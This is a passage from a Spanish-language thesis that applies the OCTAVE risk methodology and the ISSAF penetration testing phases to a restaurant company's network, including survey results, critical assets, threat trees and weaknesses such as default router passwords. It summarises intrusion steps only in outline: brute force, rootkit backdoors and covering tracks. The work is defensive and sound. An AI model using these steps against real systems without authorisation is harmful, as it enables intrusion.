se aplican los ultimos dos ultimos procesos:
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Proceso 7: El analisis de riesgos aplicado, permite determinar el nivel de

impacto que pueden tener los activos criticos.

Proceso 8: Desarrollar estrategias de proteccidn, pueden ser perfiles de riesgo
de cada activo, soluciones para las vulnerabilidades y préacticas de seguridad
recomendadas con la finalidad de que puedan ser aplicadas por la empresa con

el objetivo de que puedan proteger sus activos criticos.

2.6 Metodologia para Pruebas de Penetracion ISSAF

La metodologia de prueba se disefié con el objetivo de evaluar la red, el sistema

y el control de las aplicaciones. ISSAF, 2008, P. 136.

(1) Planificacién y Preparacion }
[ \ [ Obtener \
\ Cubrir Huellas / ‘ Informacion .-": \

e

[ Mantenerel |/

|Mapeo de la Red |
acceso \ Ji

~, Metodologia de Pruebas de / .
{ Comprometer o, y ‘
[ \ Penetracion (Identificacion de )

\Vulnerabilidades/

(2) Evaluacion

ﬁusuar\cs y sitios |

[\ remotos /

{ \
~~| Penetracién |

[ ~ -
Enumerar accesos| —_/ Y

/  Obtenery
f \

escalar

privilegios

o
(3) Reportes, limpieza y destruccion de Artefactos }

Figura. 3. Fases para la aplicacion de la Metodologia Pruebas de Penetracion.
Adaptado de ISSAF, 2008, p. 147
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2.6.1 Fase B.1: Planificacion y Preparacion

La primera etapa se establece un acuerdo de evaluacion formal entre ambas
partes para la concienciacion acerca de la manipulacion de informacion, ademas
se analizan las fechas destinadas a la evaluacion, tiempos de prueba y otros
elementos, los cuales permiten montar un area de pentest y cuyo objetivo es

evitar interferir con otras areas dentro de la empresa. (ISSAF, 2008, p. 136).

2.6.2 Fase B.2: Evaluacion

En esta etapa se inicia el proceso de pruebas de evaluacién basado en un
enfoque por capas, este método permite ir escalando en privilegios hasta obtener

el nivel de acceso administrador en los equipos de la empresa.

2.6.2.1 Proceso 1: Recopilacion de Informacion

Esta etapa se enfoca en encontrar la mayor cantidad de informacion de la
empresa, ya sea a través de navegadores de busqueda (Google, Bing, Yahoo!)
como también se pueden utilizar herramientas para el descubrimiento de
direcciones DNS, a través de WHOIS. Esta etapa es muy importante ya que
permite reunir la suficiente informacion, se abren nuevos caminos y vias posibles
para acceder a los recursos de la empresa. Cualquier informacién proveniente

de medios tecnoldgicos, impresos o anuncios resulta util. (ISSAF, 2008, p. 136).

Cobra mucha importancia identificar los puntos mas importantes donde puede
existir alguna vulnerabilidad, resulta que el tiempo y recursos son limitados por

ello es necesario invertir el suficiente tiempo en la recoleccién de informacion.

2.6.2.2 Proceso 2: Mapeo de red

A partir de la informacion obtenida en el anterior proceso se realiza un analisis
técnico, se realiza una supuesta topologia de red acerca de como esta
configurada para ello se aplican métodos o herramientas que identifiquen esta

informacion. Entre algunas de ellas son:

e Encontrar hosts activos

e Escaneo de puertos
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e Determinar el perimetro de la red (Router, firewalls)

e Identificar servicios criticos

El mapeo de red podra esclarecer cualquier duda con respecto a la informacion
adquirida en el proceso 1 como marcas de hardware, tipo software y la relacién
gue estos tienen con el proceso de negocio (ISSAF, 2008, p. 138).

2.6.2.3 Proceso 3: Identificacion de Vulnerabilidades

Se llevardn a cabo varias actividades con la finalidad de detectar puntos débiles
y que puedan ser explotados (ISSAF, 2008, p. 139). Algunas de estas

actividades son:

¢ I|dentificar las rutas de ataque y escenarios para la explotacion.

e Identificar el software critico.

e Realizar analisis para buscar vulnerabilidades conocidas y no conocidas
de sitios de acceso libre como CVE, CERT o SECURITYFOCUS.

e Enumerar las vulnerabilidades descubiertas.

2.6.2.4 Proceso 4: Penetracion

Se intenta obtener acceso no autorizado y eludir las medidas de seguridad con
la finalidad de ingresar a la red o sistema (ISSAF, 2008, p. 140). Para ello se

utilizan las siguientes herramientas:

e Herramientas de penetracion para esta propuesta, ingenieria social.
e Documentar los hallazgos explicando la via utilizada, el impacto causado

y cual vulnerabilidad fue explotada.

2.6.2.5 Proceso 5: Ganar Acceso y Escalar Privilegios

Obtener una cuenta de usuario sin privilegios a través de los siguientes medios
(ISSAF, 2008, p. 141):

e Descubrir nombres de usuario y contrasefias, a través de ataques de

fuerza bruta.
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e Descubrir nombres de usuario y contrasefias, a través de cuentas por
defecto.
e Explotar la configuracion predeterminada para determinar contrasefas y

configuraciones de la red.

Proceso A: Comprometer Sistemas Intermedios, esta seccion permite crear
un baipas con la finalidad de evitar medidas de seguridad estos pueden ser

ruteadores, firewalls, servidores o estaciones de trabajo.

Proceso B: Comprometer el Objetivo, este el paso final, donde se comprueba
gue el objetivo evaluado ha sido controlado por completo, este elemento
permite descubrir e identificar cuentas de administrador y escalar privilegios

sin restricciones.

2.6.2.6 Proceso 6: Enumerar Entradas

Obtener contrasefias cifradas o legibles a través del uso de otras técnicas,
explotar sesiones. Adicionalmente se puede identificar direcciones de correo.
(ISSAF, 2008, p. 141).

2.6.2.7 Proceso 7: Comprometer Usuarios Remotos y Sitios

Las comunicaciones entre usuarios remotos no estan cifradas por lo tanto no
garantiza que el punto final de comunicacion sea seguro por lo tanto se puede
obtener acceso privilegiado a la red a través de spoofing o manipulacién del
simbolo de sistema (ISSAF, 2008, p. 142).

2.6.2.8 Proceso 8: Mantener una Sesion

Un canal oculto que se puede utilizar a través de la implementacion de tuneles,
otra opcidn es la creacién de una puerta trasera a través de rootkits capaz de
controlar el sistema de forma remota por completo, otra forma rapida es habilitar
la opcion de control remoto a traveés del simbolo del sistema del computador

afectado utilizando los privilegios de administrador (ISSAF, 2008, p. 142).
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2.6.2.7 Proceso 9: Cubrir Huellas

En esta ultima seccidn el investigador oculta archivos y carpetas durante o
después de que se haya ejecutado el andlisis, el éxito de una evaluacion se
determina por el tiempo que permanece un atacante dentro de la red ya que de
esta forma se lograra obtener una mayor cantidad de informacion (ISSAF, 2008,
p. 143).

2.6.3 Fase B.3: Informes, Destruccion y Limpieza

Se realiza una recopilacion de resultados acerca de los procesos anteriormente
aplicados a través de representaciones en diagramas de red, mapas, cuadros de
vulnerabilidades y otros elementos que permitan resaltar los riesgos. La
destruccion de artefactos se aplica desde la correccion de las vulnerabilidades y
finalmente una limpieza conlleva a eliminar registros o archivos que se hayan
utilizado durante las pruebas de pentest (ISSAF, 2008, p. 145).

2.6.3.1 Proceso 1: Reportes Verbales

En el transcurso de la fase de evaluacion se identifica la vulnerabilidad y se

comenta de inmediato a los administradores para su pronta solucion.

2.6.3.2 Proceso 2: Reporte Final

Se presenta un informe escrito el cual describe el resultado de las pruebas y sus
recomendaciones. Este debe seguir una estructura que consta del resumen de
gestién, herramientas utilizadas, fechas y hora de cada prueba en el sistema, el
resultado o salida de cada prueba, ademas de una lista con todas las

vulnerabilidades identificadas con su respectiva solucion (ISSAF, 2008, p. 145).

Todos los archivos que se hayan generado deben ser eliminados, en caso de
existir elementos que imposibilita su eliminacion se debe incluir en el informe

final para que los administradores puedan retirarlo.
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3. IMPLEMENTACION

3.1 Situacion Actual de la Empresa

Actualmente la empresa cuenta con el siguiente esquema de configuracion de
red, para ello se han dividido en 2 areas las cuales son: oficina y restaurante
(sucursal). En las figuras 4 y 5 se observa la estructura de red que actualmente
cuenta la empresa, se encuentran conectados al internet a través de una linea
dedicada ADSL 2+, gracias a esta tecnologia, utilizan la misma linea telefonica
para la transmision de datos.

Como punto adicional los empleados que utilizan dispositivos inalambricos se
conectan a la red “2do y 3er piso” como se representa en la figura 4, mientras

gue los usuarios en general se conectan a la “Red Clientes” como se muestra en
la figura 5.

Diagrama de Red Oficina
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Figura. 4. Topologia de Red Actual de la Empresa — Oficina.
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Cabe destacar que los ruteadores inalambricos identificados en color naranja
estan configurados de tal forma que pueden ser blancos de ataques de acceso
o inyeccidn de tréfico en la red. Al ser equipos destinados para el hogar cuentan
con herramientas de administracion basicas, por ejemplo el uso de directivas
para el acceso a internet donde Unicamente permite limitar el acceso y el tiempo
de navegacion a ciertas paginas web de un maximo de 10 equipos, caso
contrario de aquellos ruteadores especializados para un entorno empresarial que
si cuentan con herramientas de seguridad y administracion, por ejemplo la
utilizaciéon de VLANS que permiten separar segmentos l6gicos de una red de
area local (Red independiente para cada departamento), otro ejemplo puede ser
la utilizacién de listas de control de acceso para limitar el trafico de la red

permitiendo controlar el acceso que puede tener un host a un servidor o un

servicio especifico.

Diagrama de Red - Restaurante y Produccion
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Figura. 5. Topologia de Red actual de la Empresa — Restaurante.
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De acuerdo con la informacion grafica analizada en las anteriores figuras, se
puede obtener una idea preliminar acerca de la problematica presente en la
empresa, a continuacion, se utilizara la metodologia de Octave, donde a través
de encuestas y una serie de fases adicionales se podran generar las respectivas

soluciones para esta propuesta.

3.2 Fase 1: Octave — Construccién de Perfiles de Amenaza

4 ™

Proceso 1: Encuestas aplicadas al Area Directiva
Proceso 2: Encuestas aplicadas al Area Operativa
Proceso 3: Encuestas aplicadas al Area General

Proceso 4: Recoleccion de resultados de todas las encuestas
Construccién Perfiles
de Amenaza
Encuestas, practicas
actuales,
vulnerabilidades
organizativas.
\, v,

Preparacién

Proceso 7: Analisis de Riesgos - Perfiles de Riesgo
Proceso 8: Desarrollo de Estrategias de Proteccion

Inicio

V. N
Proceso 5: Identificacién de componentes clave
Proceso 6: Aplicacion de la Metodologia de Pruebas de Penetracion (ISSAF)
Identificacion de

Vulnerabilidades en Tl

Componentes Clave,
Metodologia penetracion
de vulnerabilidades
A

Figura. 6. Fase 1 — Metodologia Octave.
Adaptado de Alberts et al., 2001, p.5

Como sugiere la metodologia Octave, la primera fase se realizan varias
encuestas hacia el personal (Anexo 2), se han seleccionado aquellas

relacionadas con el proceso de negocio.
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3.2.1 Proceso 1: Octave — Encuestas Aplicadas al Area Directiva

Proceso 1: Encuestas aplicadas al Area Directiva
Proceso 2: Encuestas aplicadas al l:\rea Operativa
Proceso 3: Encuestas aplicadas al Area General
Proceso 4: Recoleccidn de resultados de todas las encuestas
Construccion Perfiles
de Amenaza

Encuestas, practicas
actuales,
vulnerabilidades
organizativas.

Figura. 7. Fase 1 — Encuestas Aplicadas Area Directiva.
Adaptado de Alberts et al., 2001, p.5

Este proceso se ha llevado a cabo con una autoridad donde se le ha entregado
la encuesta del area directiva para que sea llenada, los resultados seran

analizados en el proceso 4.

3.2.2 Proceso 2 y Proceso 3: Octave - Encuestas Aplicadas al Area

General (Personal) y Tl

Proceso 1: Encuestas aplicadas al l:\rea Directiva

Proceso 2: Encuestas aplicadas al Area Operativa h
Proceso 3: Encuestas aplicadas al Area General

Proceso 4: Recoleccion de resultados de todas las encuestas

Construccion Perfiles
de Amenaza

Encuestas, practicas
actuales,
vulnerabilidades
organizativas.

Figura. 8. Fase 1 — Encuestas Aplicadas Area Operativa (TI) y General.
Adaptado de Alberts et al., 2001, p.5

Para este proceso se ha identificado al personal que trabaja de forma directa con
los activos tecnoldgicos, se les han entregado las encuestas del area general
para que sean llenadas y para el caso del area operativa Tl al administrador del
area de tecnologia. Los resultados de las encuestas serdn analizados en el

proceso 4.
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3.2.3 Proceso 4: Octave — Recoleccién de resultados de todas las

encuestas
Proceso 1: Encuestas aplicadas al Area Directiva
Proceso 2: Encuestas aplicadas al {\rea Operativa
Proceso 3: Encuestas aplicadas al Area General
Proceso 4: Recoleccion de resultados de todas las encuestas
Construccion Perfiles
de Amenaza

Encuestas, practicas
actuales,
vulnerabilidades
organizativas.

Figura. 9. Fase 1 — Recoleccién de Resultados de las Encuestas.
Adaptado de Alberts et al., 2001, p.5

Tabla 7.

Asignacion del nivel de cumplimiento en funcién de la calificacion

Cumplimiento Calificacion
Si Bajo
No sabe Medio
No Alto

La tabla 7 permite determinar una calificacién para cada tipo de respuesta, donde
se establece lo siguiente, en caso del “No” se le otorga una calificacién “Alto”,
debido a que no estan implementando y haciendo uso de las buenas practicas
acerca de la seguridad, para el caso “No Sabe”, se le otorga una calificacién de
“Medio” ya que no se asegura si se estan cumpliendo con las buenas practicas,
finalmente para el caso de “Si”, se le otorga una calificacion de “Bajo” debido a

gue se cumplen con las buenas practicas.
Altos Directivos

Antes de comenzar con el analisis de las encuestas se va a analizar tabla 8, la

cual contiene 5 columnas distribuidas de la siguiente forma:
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Précticas Estratégicas: Es el identificador de la préactica estratégica
localizada en el catalogo de practicas de Octave, estos se encuentran en
el anexo.

Pregunta: Es aquella interrogante que se le plantea a la persona
evaluada para este caso un alto directivo.

Respuesta: Es el resultado de la pregunta realizada a los encuestados.
Cumplimiento: Es una calificacion cualitativa que se le otorga de acuerdo

con lo analizado en la tabla 7.

Tabla 8.

Resultados de Encuestas en Directores

Préacticas Pregunta Respuesta Cumplimiento

Estratégicas

SP1.1

SP1.2

SP1.3

SP3.1

SP3.4

SP3.5

SP3.6

El personal comprende su rol en la empresa No sabe Medio

y es responsable con la seguridad.

La experiencia es la adecuada para el Si Bajo

manejo de servicios y tecnologias.

Existe conciencia de seguridad y la No Alto

capacitacién periodica al personal.

Se asignan los fondos necesarios Yy No sabe Medio
actividades necesarias con la seguridad de

la informacion.

Existen niveles requeridos para el manejo Si Bajo

de la informacion.

La empresa administra los riesgos de No Alto

seguridad de la informacion.

Se reciben y actlan sobre informes de No Alto
auditoria, vulnerabilidades, incidentes,

riesgos y planes de mejora de seguridad.
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SP4.1 La empresa cuenta con un proceso No Alto
documentado para la evaluacién periddica

de las politicas de seguridad.

SP4.3 La empresa cuenta con un amplio conjunto No sabe Medio
de politicas documentadas que son

actualizadas y revisadas.

SP5.1 La empresa documenta y monitorea la No sabe Medio
informacién cuando se trabaja con

organizaciones externas.

SP6.1 Se ha realizado un analisis de operaciones, No Alto

aplicaciones y criticidad de los datos.

SP6.2 La empresa documenta, planes de No Alto
recuperacion ante desastres, planes de

contingencia.

SP6.5 El personal es consciente de que cuenta No Alto
con planes de contingencia, recuperacion
de desastres para la continuidad del

negocio.

Personal en General y TI

El siguiente andlisis se lo aplica de igual forma, para este caso se lo aplica con

el personal en general y de Tl (Anexos).
Tabla 9.

Resultados de Encuestas en el personal y Tl

Practicas Pregunta Respuesta Cumplimiento

Estratégicas

OP2.1.1 Estdn o no documentados los planes de No sabe Medio
seguridad que salvaguarden los sistemas y

redes.
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OP2.1.2

OoP2.1.4

OP2.1.5

OP 2.1.6

OP2.1.8

OP2.1.9

OP2.1.10

OoP23.1

OP2.4.1

OP2.6.1

OP2.7.2

Existen politicas y procedimientos
documentados para el control de hardware y

software.

La integridad del software instalado se

verifica regularmente.

Todos los sistemas estan al dia con respecto

a revisiones, parches y recomendaciones.

Existe un plan de copias de seguridad y que

este tenga su documentacion.

Los cambios que se han realizado al

hardware y software son documentados.

Los miembros del personal de TI siguen
procedimientos para eliminar y dar por
terminado contrasefias, cuentas o privilegios

a usuarios.

Los servicios necesarios se estan ejecutando
en el sistema, los innecesarios se han

eliminado o desactivado.

Se utilizan herramientas para el monitoreo

del sistema y de la red en la empresa

Se utilizan controles de acceso apropiados,
autenticacion, politicas para la restriccion de

accesos.

Se utilizan controles de seguridad para
proteger la informacién sensible, a través del
cifrado en el almacenamiento o transmisién

de datos.

La empresa cuenta con diagramas de

arquitectura y topologia de red, actualizadas.

No

Si

Si

No sabe

Si

No

No sabe

No sabe

No sabe

No sabe

No sabe

Alto

Bajo

Bajo

Medio

Bajo

Alto

Medio

Medio

Medio

Medio

Medio
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OP31.1 Existen procedimientos documentados para No Alto
identificar, informar y responder frente a
incidentes, violaciones de seguridad en
general.
OP 321 Los miembros del personal siguen buenas No sabe Medio
practicas de seguridad, algunas de ellas,
divulgacién, ingenieria social,
reconocimiento, contrasefas, etc.
OP3.2.3 Existen procedimientos documentados para Si Bajo
autorizar, supervisar a las personas que
trabajan con informacion sensible, asi como
el lugar donde esta reside.
3.2.3.1 Activos Criticos
Componentes Clave
Tabla 10.
Activos Criticos considerados por la empresa
Equipo Nivel Activo Descripcién
Critico
Ruteador Alto Primer dispositivo después del ISP - control de
la red — Proceso de Negocio
Data Server Medio Servidor de almacenamiento contiene la
informacion histérica
Switch Alto Conecta los puntos de red de toda la oficina
Ruteador Medio Permite conectarse de manera inalambrica a los
Inalambrico directivos y a la sala de capacitaciones
Computador Medio Manejo de los elementos relacionados con la
parte financiera ERP
Computador Medio Manejo de némina y tesoreria ERP
Computador Bajo Entrega de informacion a proveedores vy
visualizador de camaras
Computador Medio Manejo de tarjetas de crédito ERP
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Computador Medio Manejo de la cobros y pagos ERP

Computador Medio Manejo de proveedores ERP

Computador Bajo Manejo y entrega de productos a los demas
locales

MAC Medio Directivos

MAC Medio Directivos

Ruteador Alto Permite conectarse de manera inalambrica a

Inaldmbrico toda la oficina y permite conectar a 3

computadores a la red.

Computador Medio Toma de pedidos en restaurante — Proceso de
Negocio

Computador Medio Toma de pedidos en restaurante — Proceso de
Negocio

Computador Medio Toma de pedidos en restaurante — Proceso de
Negocio

Computador Medio Toma de pedidos en restaurante — Proceso de
Negocio

Computador Alto Ventas y facturacion del restaurante — Proceso
de Negocio

Mini - Servidor  Alto Contiene el software para el manejo de todas

las terminales (POS) y para la facturacion—

Proceso de Negocio

La tabla 10 presenta aquellos activos criticos que forman parte de forma directa
o indirecta con el proceso de negocio. Los activos han sido agrupados de la

siguiente forma:

e Equipos de Red = Ruteadores, Switches.

e Software POS Manager = Mini Servidor.

e Sistema ERP = Computadores con acceso a internet, se utiliza el
navegador.

e Servidor de Almacenamiento = Data Server.

e Computadores = Terminales de pedidos, inventarios, contabilidad y

gerencia.
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Activos Criticos de la Empresa
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Nombre Descripcién Importancia
Software POS Es una plataforma de venta utilizada Se relaciona directamente
Manager por restaurantes, ofrece el ingreso de con el proceso de negocio
pedidos, pagos, preparacion y entrega este software ayuda a tener
de alimentos de forma agil. Ademas el control del restaurante en
de contar con el envio de facturas al su totalidad.
SRI.

Servidor de Almacena el software contable Lo utiliza el area de

Almacenamiento

antiguo, se utiliza para compartir
carpetas y obtener informacion de

contabilidad de afios anteriores.

contabilidad, inventarios para
revisar informacion histérica

de cuentas.

Computadores

Los computadores ubicados en el area
de

empleados

oficinas permiten que los

puedan trabajar. Las
terminales del restaurante permiten

realizar la toma de pedidos.

Cada uno de ellos cumple
con un objetivo dentro de
cada é&rea por lo que si fallan
0 presentan problemas parte
del

realizar su trabajo y afecta de

personal no puede
forma indirecta o directa al

proceso de negocio.

Equipos de Red

Brinda la comunicacion entre todos los
equipos de la empresa. Acceso a
internet y uso de la red de area local
para el restaurante y sus terminales.

Por ejemplo, las terminales
requieren una conexion de
area local por lo que es
necesario que la red siempre
esté disponible al igual que el

internet para el sistema ERP.

3.2.3.2 Identificar requerimientos de seguridad para los activos criticos

Los aspectos fundamentales de la seguridad informatica se vuelven a tratar

nuevamente por lo que se hace un hincapié a las siguientes definiciones:
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e Confidencialidad: Garantiza que la informacion Unicamente acceda el
personal autorizado.

e Integridad: Garantiza que la informacion sea manejada (crear, modificar
y borrar) por el personal autorizado.

e Disponibilidad: Garantizar que el sistema o equipo esté siempre en

funcionamiento.
Tabla 12.

Asignacion de los aspectos fundamentales a los activos criticos de la empresa

Nombre Requerimiento

Software POS Manager Integridad y confidencialidad permite que Gnicamente maneje el
sistema el personal autorizado debido a que trabaja con
informacién critica. La disponibilidad del software permite que
tanto las terminales, impresoras y el software de facturacion
funcionen de manera correcta ya que todo este entorno se

mantiene sincronizado.

Sistema Gestor ERP La Confidencialidad e integridad permiten que Unicamente
pueda acceder el personal de oficinas y otras areas autorizadas ya

gque se maneja informacion critica de la empresa.

Servidor de Elservidor de almacenamiento utiliza 2 aspectos fundamentales, la
Almacenamiento confidencialidad y la disponibilidad esto se aplica Unicamente al
area de contabilidad debido a que utilizan el servidor para obtener

informacién de afios anteriores.

Computadores La integridad y confidencialidad aplicada en las cuentas de
usuario con sus debidas restricciones para visualizar, modificar o

eliminar informacion.

Equipos de Red Los equipos de red requieren una mayor atencion por lo que se
considera los 3 aspectos confidencialidad, disponibilidad e
integridad, ademas de ser el punto mas critico es necesario
considerar que cualquier amenaza a este afecta directamente al

proceso de negocio.
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3.2.3.3 Identificar amenazas para los activos criticos

Para identificar las amenazas se utilizan los arboles de amenazas, su analisis y

desarrollo permiten establecer 3 parametros:

e Actores: Determina si el actor forma parte de la empresa o no.

e Motivo: Se tienen dos acciones que se consideran, accidental o

deliberado.

e Consecuencia: Son aquellos posibles escenarios finales, resumidos en

un solo término general.
ACTIVO - Software POS Manager

Actores Humanos usando acceso alared

ACTOR MOTIVO CONSECUENCIA

Interno / Externo =| Deliberado —

——={ Interrupcion |

Figura. 10. Arbol de Amenaza (POS) — Acceso a la Red.

Un posible ataque deliberado puede provenir ya sea de un actor interno como
externo, debido a que este software utiliza la red de la empresa para mantener
una constante sincronizacion con impresoras y terminales, por lo tanto, si no
tiene las configuraciones de seguridad necesarias como consecuencia, un

posible ataque puede ser la interrupcion del servicio al software POS manager.
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Problemas del sistema

ACTOR MOTIVO CONSECUENCIA

| = Modificacién
Accidental ffzj —=| Interrupcion

= -

-~ - —
T & Desfruccion

‘\!-. - -
s | —={ Modificacion
= Deliberado |—

Figura. 11. Arbol de Amenaza (POS) — Problema del Sistema.

De manera accidental en ciertas ocasiones se han presentados problemas en
dicho sistema relacionados con la informacion, produciéndose cambios e
interrupciones sin razén logica e inclusive de forma muy rara la destrucciéon de
datos, mientras que una motivacion deliberada puede ocurrir con la modificacién
del sistema, desactivando servicios o eliminando informacion para que el servicio

no pueda ejecutarse.
ACTIVO - Sistema Gestor ERP

Actores Humanos usando acceso alared

ACTOR MOTIVO CONSECUENCIA

Interno / Externo
[memo Estema |,

T = Divulgacion
-

~. -
.
st -

H‘\-\ . -
= Deliberado <
—

&l Desfruccion

Figura. 12. Arbol de Amenaza (ERP) — Acceso a la Red.
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El sistema ERP se maneja a través de la nube contiene todas las seguridades
necesarias, sin embargo, un actor interno o externo puede robar las credenciales
a través de ingenieria social, debido a esto se establecieron amenazas de
posible divulgacion y destruccién de informacion.

ACTIVO - Servidor de Almacenamiento

Actores Humanos usando acceso a la red

ACTOR MOTIVO CONSECUENCIA
| Divulgacion |
P :: = Modificacion |
Accidental ff_:,ﬁ_ —={ Interrupcion |
g -h“‘=~| Destruccion |
Interno / Externo

_=» Divulgacion |
- - —| [ Modificacion |

= Deliberado f=—— =
— | —={ |Interrupcion |
2l Dastruccibn |

Figura. 13. Arbol de Amenaza (Servidor de Almacenamiento) — Acceso a la
Red.

Tanto el personal de forma interna y externa puede acceder al servidor a través
de la red, se considera el activo mas critico ya que actualmente puede ser
identificado de manera inmediata debido a que, el nombre del equipo esta como
DATASERVER, adicionalmente este servidor trabaja bajo una version
desactualizada de Windows Server 2008 R2 por lo que existen vulnerabilidades
conocidas y que pueden ser explotadas por lo tanto pueden presentarse todas

las consecuencias planteadas.
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Problemas del sistema

ACTOR MOTIVO CONSECUENCIA

Aocidental |-

-

/

o

/

Figura. 14. Arbol de Amenaza (Servidor de Almacenamiento) — Problemas del
Sistema.

Un problema conocido del servidor de almacenamiento estd su mala
manipulacion ya que a este se accede de manera remota utilizando las
credenciales de administrador por lo que el usuario interno tiene un control total
de archivos y carpetas, la causa mas probable es una interrupcién de un servicio

debido a la manipulacién accidental por parte del usuario.
ACTIVO - Computadores

Actores Humanos usando acceso a la red

ACTOR MOTIVO CONSECUENCIA

I

Divulgacion

|| Modificacion

:I_ -
_Acmdental ~——_ [—={ |Interrupcion

- " T
- —=a|  Destruccion

[\

/

_;'/

Interno / Externo
s
it

- Divulgacion

I

-

. ] Modificacion
Deliberado =—"_ —
T 3 Interrupcion
[

]
Desfruccion

'

Figura. 15. Arbol de Amenaza (Computadores) — Acceso a la Red.
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Las estaciones de trabajo forman parte de los activos criticos del negocio,
recientemente se han actualizado ciertos equipos, sin embargo, no se han
aplicado controles de acceso a cada usuario, tampoco existen restricciones por
parte de la red para limitar el acceso a paginas web no autorizadas, por lo tanto,
cualquier usuario puede utilizar y modificar las configuraciones del sistema

operativo del computador.

Problemas del sistema

ACTOR MOTIVO CONSECUENCIA

Accidental —wuo_ 1

-

Interrupcion |

Interno -

= Deliberado f—-_

—>{ Interrupcion |

Figura. 16. Arbol de Amenaza (Computadores) — Problemas del Sistema.

Los problemas del sistema pueden surgir de manera accidental como también
de forma deliberada ambas relacionadas con la interrupcion de servicios (POS
Manager) siendo este la amenaza mas destacada. Como antecedente en ciertos
casos la informacion se ha perdido por lo que una busqueda en base de datos
no es suficiente para encontrarla, esta informacion en ciertos casos puede ser

fundamental para la solucién a un problema relacionado con pedidos.



ACTIVO - Equipos de Red

Actores Humanos usando acceso a la red

ACTOR

MOTIVO

CONSECUENCIA

Interno f Externo If

Deliberado

\ J_,_/
. —

e | |nterrupcion

| Acsidental | —L__

Divulgacion

Modificacion

i

[= Desfruccion

Figura. 17. Arbol de Amenaza (Equipos de Red) — Acceso a la Red.
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Ciertos equipos de red cuentan aun con claves predeterminadas, por lo que tanto

una amenaza interna o0 externa puede presentarse y ejecutarse sin mayores

dificultades, mientras que de manera accidental puede surgir una amenaza por

el desconocimiento de los equipos o desconectandolos.

Problemas del sistema

Interno / Externo

]
-

\ Deliberado j==—|

ACTOR MOTIVO CONSECUENCIA
Accdantal [F——t—

[~ Woditcacon |
[ Tntemupcion ]

Figura. 18. Arbol de Amenaza (Equipos de Red) — Problemas del Sistema.
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Utilizar un disefio de red inseguro y mantener una configuracion a medias en los
equipos puede desencadenar ataques deliberados debido a una ineficiente
seguridad de la red. Por lo tanto, actores internos como externos pueden generar
problemas relacionados con la interrupcion de servicios de la red, instalar y
utilizar herramientas como (Man in the Middle) que permita analizar informacién

gue se envié a través de la red.

3.3 Fase 2: Octave - Identificar las vulnerabilidades de la infraestructura

Proceso 1: Encuestas aplicadas al Area Directiva
Proceso 2: Encuestas aplicadas al Area Operativa
Proceso 3: Encuestas aplicadas al Area General
Proceso 4: Recoleccidn de resultados de todas las encuestas
Construccion Perfiles
de Amenaza

Encuestas, practicas

actuales,
vulnerabilidades
organizativas.

Preparacion Proceso 7: Andlisis de Riesgos - Perfiles de Riesgo

Proceso 8: Desarrollo de Estrategias de Proteccion

Inicio
7 ™\
F. -\

Proceso 5: Identificacion de componentes clave
Proceso 6: Aplicacion de la Metodologia de Pruebas de Penetracion (ISSAF)

Identificacion de
Vulnerabilidades en Tl

Componentes Clave,
Metodologia penetracion
de vulnerabilidades

Figura. 19. Fase 2 — Metodologia Octave.
Adaptado de Alberts et al., 2001, p.5
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3.3.1 Proceso 5: Octave - Identificar los componentes clave

Identificaciéon de
Vulnerabilidades en TI

Componentes Clave,
Metodologia penetracion
de vulnerabilidades

Figura. 20. Fase 2 —

Proceso 5: Identificacion de componentes clave _

Proceso 6: Aplicacion de la Metodologia de Pruebas de Penetracion (ISSAF)

Metodologia Octave.

Adaptado de Alberts et al., 2001, p.5

Se ha elaborado la tabla 13 donde describe las amenazas posibles que pueden

presentarse en los activos criticos, algunos de ellos se relacionan directa o

indirectamente con el proceso del negocio.

Tabla 13.

Posibles amenazas que pueden afectar a los activos criticos

NOMBRE VULNERABILIDAD POSIBLE AMENZA
Software POS Utiliza Windows Embembled 7 Se puede investigar si existen
Manager como sistema operativo. vulnerabilidades para esa version

S.0 de Windows. El servicio se ve
interrumpido Si falla la
disponibilidad de la red de area

local.
Sistema  Gestor Falta de capacitacion y Obtener credenciales, tomar el
ERP concienciacion del personal al control del computador para
utilizar y manejar contrasefias. investigar la informacion de
usuarios. Aplicacion de ingenieria

social.
Servidor de Utiliza la versibn de Windows Un atacante puede acceder al
Almacenamiento Server R2 2008, algunas servidor a través de bugs, exploits

vulnerabilidades de esta version

o vulnerabilidades presentes en la




a7

son ataques remotos y ataques de

ransomware.

version con la finalidad de obtener

un acceso a informacién historica.

Equipos de Red

Se utiliza un disefio de red
ineficiente, los equipos cuentan
con versiones desactualizadas de
firmware, servicios como DHCP y
DNS habilitados. Credenciales por
defecto habilitadas en ciertos

equipos.

Se pueden aplicar ataques a la red
inalambrica. La falta de
administraciéon y aplicacion de
buenas de seguridad en los
equipos no permite detectar o

mitigar ataques en la red.

3.3.2 Proceso 6: Octave - Evaluar componentes seleccionados

Para este proceso, se utilizar4 la metodologia de pruebas de penetracion de

ISSAF la cual fue explicada y analizada en el capitulo anterior.

Proceso 5: Identificacién de componentes clave

Proceso 6: Aplicacion de la Metodologia de Pruebas de Penetracion (ISSAF)

J

de
Vulnerabilidades en TI

Componentes Clave,
Metodologia penstracion
de vulnerabilidades

(1) Planificacion y Preparacion }
A — -
Metodologia de Pruebas de -‘
(2) Evaluacion { ) Penetracion enmiicacin d v
\ \
[ (3) Reportes, limpieza y destruccion de Artefactos J

Figura. 21. Fase 2 — Aplicacion Metodologia de Pruebas de Penetracion ISSAF.
Adaptado de ISSAF, 2008, p. 147
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3.3.2.1 Metodologia de Pruebas de Penetracion

(1) Planificacion y Preparacion J]

. " Metodologia de Pruebas de
(2) Evaluacion . s Penetracion

./4

- 7

- 4
(3) Reportes, limpieza y destruccion de Artefactos

Figura. 22. ISSAF — Fase 1: Planificacion y Preparacion.
Adaptado de ISSAF, 2008, p. 147

3.3.2.1.1 Fase 1: ISSAF - Planificacion y Preparacion

Se coordina un plan de trabajo con la empresa para levantar un entorno de
pentest adecuado para las pruebas de penetracion. Esta fase puede incluir la
firma de documentos permitiendo trabajar apegado a las leyes y las politicas de

la empresa durante el desarrollo de la propuesta.
3.3.2.1.2 Fase 2: ISSAF - Evaluacion

P

(2) Evaluacion

Figura. 23. ISSAF — Fase 2: Obtener Informacion.
Adaptado de ISSAF, 2008, p. 147
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3.3.2.1.2.1 Proceso 1: ISSAF - Obtener Informacién

Este proceso consiste en recopilar informacién acerca de la empresa
permitiendo descubrir posibles vias para la explotacion de vulnerabilidades. La
informacion obtenida puede ser cuadros de Excel, informacion del personal,
direcciones de correos electronicos, publicaciones, direcciones de base de datos

y el sitio web de la empresa para determinar una posible extranet o intranet.
Tabla 14.

Localizar el sitio web de la empresa

Prueba #1

Descripcion

Recopilar informacion, pueden ser tarjetas de presentacion, folletos, correos
